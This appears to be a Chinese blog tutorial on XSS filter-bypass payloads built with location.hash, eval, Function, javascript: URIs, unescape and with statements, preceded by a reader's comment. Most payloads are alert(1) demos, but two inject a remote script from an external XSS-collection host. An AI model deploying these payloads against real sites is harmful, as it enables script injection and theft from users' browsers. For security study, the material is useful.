表哥 你这篇文章里所有展示图片挂了 刷新页面多次 还是加载不出来 可否重置下图片链接 没有图片展示 不知道表哥想要演示什么[多多捂脸]
前言
近日在看些xss相关的知识,在乌云知识库上,有篇XSS挑战第一期Writeup
里面姿势很多,能力不足,有些无法复现,就把自己觉得好玩的写下来。
location
Location对象
对于我们构造一些另类的xss payload
有很大的帮助,例如P牛这篇文章介绍的使用编码利用location来变形我们的XSS Payload
Location
在介绍Location的属性前,我们先来了解下slice()
方法。
slice() 方法可从已有的字符串中返回选定的元素。
location.hash
查阅文档。
我们关注的重点是#
的作用,location
对象的hash
属性用于设置或取得 URL 中的锚部分。
例如我们现在的网址为http://localhost/1.html#s9mf
,我们在控制台输入location.hash
,则会返回我们设定的锚
。
利用这个特性,在构造xss代码时,可以把一部分payload
,放置在测试语句的尾部。
例子:
<body/onload=eval(location.hash.slice(1))>#alert(1)
这里用eval
执行通过location.hash
获取过来的alert(1)
代码,slice
方法在这里的作用是截取下标为1以后的字符串元素(包括1)。如果你还是不太理解,那么我们用document.write
输出到页面。
可见,slice方法在这里返回的字符串为alert(1)
,substr
方法在这里也可以代替slice
使用。
<body/onload=setTimeout(location.hash.substr(1))()>#alert(1)
这里使用的setTimeout,也可以使用constructor
属性来执行代码,不过要记住加个()
。
Set.constructor(location.hash.substr(1))()
也可以使用execScript
,不过execScript
是IE浏览器独有,所以只能在IE
弹,相比较下eval
则是所有浏览器都支持。
<body/onload=execScript(location.hash.substr(1))>#alert(1)
使用Function
匿名函数来执行尾部的代码。
<body/onload=Function(location.hash.slice(1))()>#alert(/xss/)
利用伪协议
。
<body/onload=eval(location.hash.slice(1))>#javascript:alert(1)
利用注释,引用伪协议后开始变得有趣。
<svg/onload=location='javascript:/*'%2blocation.hash> #*/alert(1)
更进一步。
<svg/onload=location="javascript:"%2binnerHTML%2blocation.hash>" #"-alert(1)
unescape()
unescape()
函数用于对已经使用escape()
函数编码的字符串进行解码,并返回解码后的字符串。
我们引入外部url
时,如果拦截//
,我们可以先url编码,再解码。
例如:
<svg/onload=appendChild(createElement('script')).src=unescape('http%3A%2F%2Fxss.tt%2F1te')>
with
with
语句可以方便地用来引用某个特定对象中已有的属性。使用with可以实现通过节点名称的对象调用。
如果.
被拦截,我们可以尝试with
。
<svg/onload=with(location)with(hash)eval(alert(1))>
基于DOM的方法创建和插入节点把外部JS文件注入到网页中,也可以应用with。
<svg/onload="[1].find(function(){with(`docom'|e|'nt`);;body.appendChild(createElement('script')).src='http://xss.tt/XA'})">